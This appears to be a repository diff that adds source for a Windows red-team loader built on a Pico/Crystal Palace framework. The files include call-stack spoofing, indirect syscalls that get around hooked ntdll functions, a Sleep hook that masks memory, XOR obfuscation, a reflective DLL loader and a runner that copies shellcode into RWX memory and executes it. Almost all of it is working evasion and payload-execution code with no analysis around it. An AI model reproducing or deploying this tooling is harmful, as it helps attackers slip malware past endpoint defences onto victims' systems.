draugr_params.BaseThreadInitThunkStackSize = calculate_function_stack_size_wrapper(return_address);
|
||||
draugr_params.BaseThreadInitThunkReturnAddress = return_address;
|
||||
|
||||
if (!draugr_params.BaseThreadInitThunkStackSize || !draugr_params.BaseThreadInitThunkReturnAddress)
|
||||
{
|
||||
return (ULONG_PTR)(NULL);
|
||||
}
|
||||
|
||||
return_address = (PVOID)((UINT_PTR)frame.Frame2.FunctionAddress + frame.Frame2.Offset);
|
||||
draugr_params.RtlUserThreadStartStackSize = calculate_function_stack_size_wrapper(return_address);
|
||||
draugr_params.RtlUserThreadStartReturnAddress = return_address;
|
||||
|
||||
if (!draugr_params.RtlUserThreadStartStackSize || !draugr_params.RtlUserThreadStartReturnAddress)
|
||||
{
|
||||
return (ULONG_PTR)(NULL);
|
||||
}
|
||||
|
||||
do
|
||||
{
|
||||
draugr_params.Trampoline = find_gadget(frame.Gadget);
|
||||
draugr_params.TrampolineStackSize = calculate_function_stack_size_wrapper(draugr_params.Trampoline);
|
||||
|
||||
attempts++;
|
||||
|
||||
if (attempts > 15)
|
||||
{
|
||||
return (ULONG_PTR)(NULL);
|
||||
}
|
||||
|
||||
} while (draugr_params.TrampolineStackSize == NULL || ((__int64)draugr_params.TrampolineStackSize < 0x80));
|
||||
|
||||
if (!draugr_params.Trampoline || !draugr_params.TrampolineStackSize)
|
||||
{
|
||||
return (ULONG_PTR)(NULL);
|
||||
}
|
||||
|
||||
return (ULONG_PTR)draugr_stub(arg1, arg2, arg3, arg4, &draugr_params, function, 8, arg5, arg6, arg7, arg8, arg9, arg10, arg11, arg12);
|
||||
}
|
||||
|
||||
ULONG_PTR spoof_call(FUNCTION_CALL *call)
|
||||
{
|
||||
/* very inelegant */
|
||||
if (call->argc == 0)
|
||||
{
|
||||
return draugr_wrapper(call->ptr, call->ssn, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
}
|
||||
else if (call->argc == 1)
|
||||
{
|
||||
return draugr_wrapper(call->ptr, call->ssn, (PVOID)draugr_arg(0), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
}
|
||||
else if (call->argc == 2)
|
||||
{
|
||||
return draugr_wrapper(call->ptr, call->ssn, (PVOID)draugr_arg(0), (PVOID)draugr_arg(1), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
}
|
||||
else if (call->argc == 3)
|
||||
{
|
||||
return draugr_wrapper(call->ptr, call->ssn, (PVOID)draugr_arg(0), (PVOID)draugr_arg(1), (PVOID)draugr_arg(2), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
}
|
||||
else if (call->argc == 4)
|
||||
{
|
||||
return draugr_wrapper(call->ptr, call->ssn, (PVOID)draugr_arg(0), (PVOID)draugr_arg(1), (PVOID)draugr_arg(2), (PVOID)draugr_arg(3), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
}
|
||||
else if (call->argc == 5)
|
||||
{
|
||||
return draugr_wrapper(call->ptr, call->ssn, (PVOID)draugr_arg(0), (PVOID)draugr_arg(1), (PVOID)draugr_arg(2), (PVOID)draugr_arg(3), (PVOID)draugr_arg(4), NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
}
|
||||
else if (call->argc == 6)
|
||||
{
|
||||
return draugr_wrapper(call->ptr, call->ssn, (PVOID)draugr_arg(0), (PVOID)draugr_arg(1), (PVOID)draugr_arg(2), (PVOID)draugr_arg(3), (PVOID)draugr_arg(4), (PVOID)draugr_arg(5), NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
}
|
||||
else if (call->argc == 7)
|
||||
{
|
||||
return draugr_wrapper(call->ptr, call->ssn, (PVOID)draugr_arg(0), (PVOID)draugr_arg(1), (PVOID)draugr_arg(2), (PVOID)draugr_arg(3), (PVOID)draugr_arg(4), (PVOID)draugr_arg(5), (PVOID)draugr_arg(6), NULL, NULL, NULL, NULL, NULL);
|
||||
}
|
||||
else if (call->argc == 8)
|
||||
{
|
||||
return draugr_wrapper(call->ptr, call->ssn, (PVOID)draugr_arg(0), (PVOID)draugr_arg(1), (PVOID)draugr_arg(2), (PVOID)draugr_arg(3), (PVOID)draugr_arg(4), (PVOID)draugr_arg(5), (PVOID)draugr_arg(6), (PVOID)draugr_arg(7), NULL, NULL, NULL, NULL);
|
||||
}
|
||||
else if (call->argc == 9)
|
||||
{
|
||||
return draugr_wrapper(call->ptr, call->ssn, (PVOID)draugr_arg(0), (PVOID)draugr_arg(1), (PVOID)draugr_arg(2), (PVOID)draugr_arg(3), (PVOID)draugr_arg(4), (PVOID)draugr_arg(5), (PVOID)draugr_arg(6), (PVOID)draugr_arg(7), (PVOID)draugr_arg(8), NULL, NULL, NULL);
|
||||
}
|
||||
else if (call->argc == 10)
|
||||
{
|
||||
return draugr_wrapper(call->ptr, call->ssn, (PVOID)draugr_arg(0), (PVOID)draugr_arg(1), (PVOID)draugr_arg(2), (PVOID)draugr_arg(3), (PVOID)draugr_arg(4), (PVOID)draugr_arg(5), (PVOID)draugr_arg(6), (PVOID)draugr_arg(7), (PVOID)draugr_arg(8), (PVOID)draugr_arg(9), NULL, NULL);
|
||||
}
|
||||
else if (call->argc == 11)
|
||||
{
|
||||
return draugr_wrapper(call->ptr, call->ssn, (PVOID)draugr_arg(0), (PVOID)draugr_arg(1), (PVOID)draugr_arg(2), (PVOID)draugr_arg(3), (PVOID)draugr_arg(4), (PVOID)draugr_arg(5), (PVOID)draugr_arg(6), (PVOID)draugr_arg(7), (PVOID)draugr_arg(8), (PVOID)draugr_arg(9), (PVOID)draugr_arg(10), NULL);
|
||||
}
|
||||
else if (call->argc == 12)
|
||||
{
|
||||
return draugr_wrapper(call->ptr, call->ssn, (PVOID)draugr_arg(0), (PVOID)draugr_arg(1), (PVOID)draugr_arg(2), (PVOID)draugr_arg(3), (PVOID)draugr_arg(4), (PVOID)draugr_arg(5), (PVOID)draugr_arg(6), (PVOID)draugr_arg(7), (PVOID)draugr_arg(8), (PVOID)draugr_arg(9), (PVOID)draugr_arg(10), (PVOID)draugr_arg(11));
|
||||
}
|
||||
else
|
||||
{
|
||||
return (ULONG_PTR)(NULL);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include "utils/debug.h"
|
||||
|
||||
#define spoof_arg(x) ( ULONG_PTR ) ( x )
|
||||
|
||||
typedef struct {
|
||||
PVOID ptr;
|
||||
DWORD ssn;
|
||||
int argc;
|
||||
ULONG_PTR args[10];
|
||||
} FUNCTION_CALL;
|
||||
|
||||
ULONG_PTR spoof_call ( FUNCTION_CALL * call );
|
||||
@@ -0,0 +1,148 @@
|
||||
#include "syscalls.h"
|
||||
|
||||
#define SYS_STUB_SIZE 32
|
||||
#define UP -SYS_STUB_SIZE
|
||||
#define DOWN SYS_STUB_SIZE
|
||||
|
||||
BOOL GetSyscall(PVOID ntdll, PVOID func, SYSCALL_GATE *gate)
|
||||
{
|
||||
PIMAGE_DOS_HEADER pDosHdr = NULL;
|
||||
PIMAGE_NT_HEADERS pNtHdrs = NULL;
|
||||
PIMAGE_EXPORT_DIRECTORY pExportDir = NULL;
|
||||
|
||||
DWORD dwSyscallNr = 0;
|
||||
PVOID pIndirect = NULL;
|
||||
|
||||
PDWORD pdwAddrOfFunctions = NULL;
|
||||
PWORD pwAddrOfNameOrdinals = NULL;
|
||||
|
||||
WORD wIdxStub = 0;
|
||||
WORD wIdxfName = 0;
|
||||
BOOL bHooked = FALSE;
|
||||
|
||||
pDosHdr = (PIMAGE_DOS_HEADER)ntdll;
|
||||
pNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)ntdll + pDosHdr->e_lfanew);
|
||||
pExportDir = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)ntdll + pNtHdrs->OptionalHeader.DataDirectory[0].VirtualAddress);
|
||||
|
||||
pdwAddrOfFunctions = (PDWORD)((PBYTE)ntdll + pExportDir->AddressOfFunctions);
|
||||
pwAddrOfNameOrdinals = (PWORD)((PBYTE)ntdll + pExportDir->AddressOfNameOrdinals);
|
||||
|
||||
for (wIdxStub = 0; wIdxStub < SYS_STUB_SIZE; wIdxStub++)
|
||||
{
|
||||
if (*((PBYTE)func + wIdxStub) == 0xe9)
|
||||
{
|
||||
bHooked = TRUE;
|
||||
break;
|
||||
}
|
||||
|
||||
if (*((PBYTE)func + wIdxStub) == 0xc3)
|
||||
return FALSE;
|
||||
|
||||
if (*((PBYTE)func + wIdxStub) == 0x4c &&
|
||||
*((PBYTE)func + wIdxStub + 1) == 0x8b &&
|
||||
*((PBYTE)func + wIdxStub + 2) == 0xd1 &&
|
||||
*((PBYTE)func + wIdxStub + 3) == 0xb8 &&
|
||||
*((PBYTE)func + wIdxStub + 6) == 0x00 &&
|
||||
*((PBYTE)func + wIdxStub + 7) == 0x00)
|
||||
{
|
||||
|
||||
BYTE low = *((PBYTE)func + 4 + wIdxStub);
|
||||
BYTE high = *((PBYTE)func + 5 + wIdxStub);
|
||||
|
||||
dwSyscallNr = (high << 8) | low;
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (bHooked)
|
||||
{
|
||||
for (wIdxfName = 1; wIdxfName <= pExportDir->NumberOfFunctions; wIdxfName++)
|
||||
{
|
||||
if ((PBYTE)func + wIdxfName * DOWN < ((PBYTE)ntdll + pdwAddrOfFunctions[pwAddrOfNameOrdinals[pExportDir->NumberOfFunctions - 1]]))
|
||||
{
|
||||
if (*((PBYTE)func + wIdxfName * DOWN) == 0x4c &&
|
||||
*((PBYTE)func + 1 + wIdxfName * DOWN) == 0x8b &&
|
||||
*((PBYTE)func + 2 + wIdxfName * DOWN) == 0xd1 &&
|
||||
*((PBYTE)func + 3 + wIdxfName * DOWN) == 0xb8 &&
|
||||
*((PBYTE)func + 6 + wIdxfName * DOWN) == 0x00 &&
|
||||
*((PBYTE)func + 7 + wIdxfName * DOWN) == 0x00)
|
||||
{
|
||||
|
||||
BYTE high = *((PBYTE)func + 5 + wIdxfName * DOWN);
|
||||
BYTE low = *((PBYTE)func + 4 + wIdxfName * DOWN);
|
||||
|
||||
dwSyscallNr = (high << 8) | (low - wIdxfName);
|
||||
func = (PVOID)((PBYTE)func + wIdxfName * DOWN);
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if ((PBYTE)func + wIdxfName * UP > ((PBYTE)ntdll + pdwAddrOfFunctions[pwAddrOfNameOrdinals[0]]))
|
||||
{
|
||||
|
||||
if (*((PBYTE)func + wIdxfName * UP) == 0x4c &&
|
||||
*((PBYTE)func + 1 + wIdxfName * UP) == 0x8b &&
|
||||
*((PBYTE)func + 2 + wIdxfName * UP) == 0xd1 &&
|
||||
*((PBYTE)func + 3 + wIdxfName * UP) == 0xb8 &&
|
||||
*((PBYTE)func + 6 + wIdxfName * UP) == 0x00 &&
|
||||
*((PBYTE)func + 7 + wIdxfName * UP) == 0x00)
|
||||
{
|
||||
|
||||
BYTE high = *((PBYTE)func + 5 + wIdxfName * UP);
|
||||
BYTE low = *((PBYTE)func + 4 + wIdxfName * UP);
|
||||
|
||||
dwSyscallNr = (high << 8) | (low + wIdxfName);
|
||||
func = (PVOID)((PBYTE)func + wIdxfName * UP);
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (func && dwSyscallNr)
|
||||
{
|
||||
for (wIdxStub = 0; wIdxStub < SYS_STUB_SIZE; wIdxStub++)
|
||||
{
|
||||
if (*((PBYTE)func + wIdxStub) == 0x0f &&
|
||||
*((PBYTE)func + wIdxStub + 1) == 0x05 &&
|
||||
*((PBYTE)func + wIdxStub + 2) == 0xc3)
|
||||
{
|
||||
pIndirect = (LPVOID)((PBYTE)func + wIdxStub);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* set values */
|
||||
gate->ssn = dwSyscallNr;
|
||||
gate->jmpAddr = pIndirect;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void __attribute__((naked)) PrepareSyscall(DWORD ssn __attribute__((unused)), PVOID addr __attribute__((unused)))
|
||||
{
|
||||
__asm__ __volatile__(
|
||||
".intel_syntax noprefix;"
|
||||
"xor r11, r11;"
|
||||
"xor r10, r10;"
|
||||
"mov r11, rcx;"
|
||||
"mov r10, rdx;"
|
||||
"ret;"
|
||||
".att_syntax prefix");
|
||||
}
|
||||
|
||||
void __attribute__((naked)) DoSyscall()
|
||||
{
|
||||
__asm__ __volatile__(
|
||||
".intel_syntax noprefix;"
|
||||
"push r10;"
|
||||
"xor rax, rax;"
|
||||
"mov r10, rcx;"
|
||||
"mov eax, r11d;"
|
||||
"ret;"
|
||||
".att_syntax prefix");
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include "utils/debug.h"
|
||||
|
||||
// NT API Status
|
||||
|
||||
#ifndef NT_SUCCESS
|
||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||
#endif
|
||||
|
||||
// Structs
|
||||
|
||||
typedef struct
|
||||
{
|
||||
DWORD ssn;
|
||||
PVOID jmpAddr;
|
||||
} SYSCALL_GATE;
|
||||
|
||||
// Functions
|
||||
|
||||
BOOL GetSyscall(PVOID ntdll, PVOID func, SYSCALL_GATE *gate);
|
||||
void PrepareSyscall(DWORD ssn, PVOID addr);
|
||||
void DoSyscall();
|
||||
@@ -0,0 +1,31 @@
|
||||
#include <windows.h>
|
||||
|
||||
#pragma once
|
||||
|
||||
#ifndef _MEMORY_LAYOUT
|
||||
#define _MEMORY_LAYOUT
|
||||
|
||||
#define MAX_SECTIONS 16
|
||||
|
||||
typedef struct
|
||||
{
|
||||
PVOID BaseAddress;
|
||||
SIZE_T Size;
|
||||
DWORD CurrentProtect;
|
||||
DWORD PreviousProtect;
|
||||
} MEMORY_SECTION;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
PVOID BaseAddress;
|
||||
SIZE_T Size;
|
||||
MEMORY_SECTION Sections[MAX_SECTIONS];
|
||||
SIZE_T Count;
|
||||
} DLL_MEMORY;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
DLL_MEMORY Dll;
|
||||
} MEMORY_LAYOUT;
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,102 @@
|
||||
/*
|
||||
* Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
// used by both the Pico Loader and DLL loader
|
||||
typedef struct {
|
||||
__typeof__(LoadLibraryA) * LoadLibraryA;
|
||||
__typeof__(GetProcAddress) * GetProcAddress;
|
||||
} IMPORTFUNCS;
|
||||
|
||||
// linker intrinsic to map a function hash to a hook registered via Crystal Palace
|
||||
FARPROC __resolve_hook(DWORD funcHash);
|
||||
|
||||
/*
|
||||
* Structs used by our DLL loader
|
||||
*/
|
||||
|
||||
#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) )
|
||||
#define DEREF( name )*(UINT_PTR *)(name)
|
||||
|
||||
typedef struct {
|
||||
IMAGE_DOS_HEADER * DosHeader;
|
||||
IMAGE_NT_HEADERS * NtHeaders;
|
||||
IMAGE_OPTIONAL_HEADER * OptionalHeader;
|
||||
} DLLDATA;
|
||||
|
||||
/*
|
||||
* utility functions
|
||||
*/
|
||||
DWORD adler32sum(unsigned char * buffer, DWORD length);
|
||||
DWORD ror13hash(const char * c);
|
||||
|
||||
/*
|
||||
* printf-style debugging.
|
||||
*/
|
||||
void dprintf(char * format, ...);
|
||||
|
||||
/*
|
||||
* PICO running functions
|
||||
*/
|
||||
typedef void (*PICOMAIN_FUNC)(char * arg);
|
||||
|
||||
PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag);
|
||||
PICOMAIN_FUNC PicoEntryPoint(char * src, char * base);
|
||||
int PicoCodeSize(char * src);
|
||||
int PicoDataSize(char * src);
|
||||
void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData);
|
||||
|
||||
/*
|
||||
* Resolve functions by walking the export address table
|
||||
*/
|
||||
FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash);
|
||||
HANDLE findModuleByHash(DWORD moduleHash);
|
||||
|
||||
/*
|
||||
* DLL parsing and loading functions
|
||||
*/
|
||||
typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base);
|
||||
IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry);
|
||||
void LoadDLL(DLLDATA * dll, char * src, char * dst);
|
||||
void LoadSections(DLLDATA * dll, char * src, char * dst);
|
||||
void ParseDLL(char * src, DLLDATA * data);
|
||||
void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst);
|
||||
void ProcessRelocations(DLLDATA * dll, char * src, char * dst);
|
||||
DWORD SizeOfDLL(DLLDATA * data);
|
||||
|
||||
/*
|
||||
* A macro to figure out our caller
|
||||
* https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1
|
||||
*/
|
||||
#ifdef __MINGW32__
|
||||
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
|
||||
#else
|
||||
#pragma intrinsic(_ReturnAddress)
|
||||
#define WIN_GET_CALLER() _ReturnAddress()
|
||||
#endif
|
||||
+124
@@ -0,0 +1,124 @@
|
||||
#include "pico.h"
|
||||
|
||||
FARPROC WINAPI _GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
|
||||
{
|
||||
// lpProcName may be an ordinal
|
||||
if ((ULONG_PTR)lpProcName >> 16 == 0)
|
||||
{
|
||||
// just resolve normally
|
||||
return GetProcAddress(hModule, lpProcName);
|
||||
}
|
||||
|
||||
FARPROC result = __resolve_hook(ror13hash(lpProcName));
|
||||
|
||||
// result may still be NULL if it wasn't hooked in the spec
|
||||
if (result != NULL)
|
||||
{
|
||||
return result;
|
||||
}
|
||||
|
||||
WARN_MSG("The '%s' function is not hooked", lpProcName);
|
||||
return GetProcAddress(hModule, lpProcName);
|
||||
}
|
||||
|
||||
// Rewrite GetProcAddress to our _GetProcAddress function
|
||||
void SetupHooks(IMPORTFUNCS *funcs)
|
||||
{
|
||||
funcs->GetProcAddress = (__typeof__(GetProcAddress) *)_GetProcAddress;
|
||||
}
|
||||
|
||||
void SetupMemory(MEMORY_LAYOUT *memory)
|
||||
{
|
||||
if (memory != NULL)
|
||||
gMemory = *memory;
|
||||
}
|
||||
|
||||
VOID WINAPI _Sleep(DWORD dwMilliseconds)
|
||||
{
|
||||
INFO_MSG("\t\tCalling _Sleep");
|
||||
|
||||
/*
|
||||
* for performance reasons, only mask
|
||||
* memory if sleep time is equal to
|
||||
* or greater than 1 second
|
||||
*/
|
||||
if (dwMilliseconds >= 1000)
|
||||
{
|
||||
MaskMemory(&gMemory, TRUE);
|
||||
}
|
||||
|
||||
LARGE_INTEGER delay;
|
||||
delay.QuadPart = - (LONGLONG)(dwMilliseconds * 10000LL);
|
||||
|
||||
PVOID args[2] = {
|
||||
FALSE,
|
||||
&delay};
|
||||
|
||||
SpoofedSyscall(NTDELAYEXECUTION_HASH, args, 2);
|
||||
|
||||
if (dwMilliseconds >= 1000)
|
||||
{
|
||||
MaskMemory(&gMemory, FALSE);
|
||||
}
|
||||
}
|
||||
|
||||
void *GetExportAddress(char *base, const char *targetName)
|
||||
{
|
||||
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
|
||||
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
|
||||
PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY)(base + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||
|
||||
DWORD *names = (DWORD *)(base + exports->AddressOfNames);
|
||||
DWORD *functions = (DWORD *)(base + exports->AddressOfFunctions);
|
||||
WORD *ordinals = (WORD *)(base + exports->AddressOfNameOrdinals);
|
||||
|
||||
for (DWORD i = 0; i < exports->NumberOfNames; i++)
|
||||
{
|
||||
char *currentName = (char *)(base + names[i]);
|
||||
|
||||
// Manual String Compare
|
||||
const char *s1 = currentName;
|
||||
const char *s2 = targetName;
|
||||
int match = 1;
|
||||
|
||||
while (*s1 && *s2)
|
||||
{
|
||||
if (*s1 != *s2)
|
||||
{
|
||||
match = 0;
|
||||
break;
|
||||
}
|
||||
s1++;
|
||||
s2++;
|
||||
}
|
||||
if (match && *s1 == *s2)
|
||||
{
|
||||
// Ensure both ended at null terminator
|
||||
return (void *)(base + functions[ordinals[i]]);
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Free loader and call DLL
|
||||
void FreeLoader(char *loader, DLLMAIN_FUNC dllEntry, char *dllBase)
|
||||
{
|
||||
INFO_MSG("=== STARTED PICO ===");
|
||||
|
||||
INFO_MSG("Cleaning Loader memory");
|
||||
KERNEL32$VirtualFree(loader, 0, MEM_RELEASE);
|
||||
|
||||
INFO_MSG("Calling DLL Entry Point");
|
||||
dllEntry((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, NULL);
|
||||
|
||||
_DLLTargetFunction pTargetFunction = (_DLLTargetFunction)GetExportAddress(dllBase, TARGET_FUNCTION);
|
||||
|
||||
if (pTargetFunction != NULL)
|
||||
{
|
||||
SUCCESS_MSG("%s Executed", TARGET_FUNCTION);
|
||||
pTargetFunction();
|
||||
}
|
||||
else
|
||||
ERROR_MSG("%s Not Found", TARGET_FUNCTION);
|
||||
KERNEL32$ExitThread(0);
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
#include <windows.h>
|
||||
#include "include/memory.h"
|
||||
#include "evasion/hooks.h"
|
||||
#include "evasion/mask.h"
|
||||
#include "utils/debug.h"
|
||||
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc(LPVOID, SIZE_T, DWORD, DWORD);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect(LPVOID, SIZE_T, DWORD, PDWORD);
|
||||
WINBASEAPI DECLSPEC_NORETURN VOID WINAPI KERNEL32$ExitThread(DWORD dwExitCode);
|
||||
WINBASEAPI WINBOOL WINAPI KERNEL32$VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
|
||||
|
||||
typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID);
|
||||
typedef void(WINAPI *_DLLTargetFunction)();
|
||||
|
||||
char TARGET_FUNCTION[128] = {};
|
||||
|
||||
// Global allocated memory
|
||||
MEMORY_LAYOUT gMemory;
|
||||
@@ -0,0 +1,15 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include "include/tcg.h"
|
||||
|
||||
#ifdef DEBUG
|
||||
#define SUCCESS_MSG(message, ...) dprintf("[+] " message, ##__VA_ARGS__)
|
||||
#define INFO_MSG(message, ...) dprintf("[*] " message, ##__VA_ARGS__)
|
||||
#define WARN_MSG(message, ...) dprintf("[!] " message, ##__VA_ARGS__)
|
||||
#define ERROR_MSG(message, ...) dprintf("[-] " message, ##__VA_ARGS__)
|
||||
#else
|
||||
#define SUCCESS_MSG(message, ...) ((void)0)
|
||||
#define INFO_MSG(message, ...) ((void)0)
|
||||
#define WARN_MSG(message, ...) ((void)0)
|
||||
#define ERROR_MSG(message, ...) ((void)0)
|
||||
#endif
|
||||
@@ -0,0 +1,9 @@
|
||||
#include "utils.h"
|
||||
|
||||
void XORData(char *data, DWORD len, char *key, DWORD keyLen)
|
||||
{
|
||||
for (DWORD i = 0; i < len; i++)
|
||||
{
|
||||
data[i] ^= key[i % keyLen];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,6 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
|
||||
#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
|
||||
|
||||
void XORData(char *data, DWORD len, char *key, DWORD keyLen);
|
||||
+15
@@ -0,0 +1,15 @@
|
||||
#include <windows.h>
|
||||
#include "pic.h"
|
||||
|
||||
int main()
|
||||
{
|
||||
PVOID pShellcode = VirtualAlloc(NULL, crystal_loader_len,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_EXECUTE_READWRITE);
|
||||
|
||||
memcpy(pShellcode, crystal_loader, crystal_loader_len);
|
||||
|
||||
((void(*)())pShellcode)();
|
||||
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user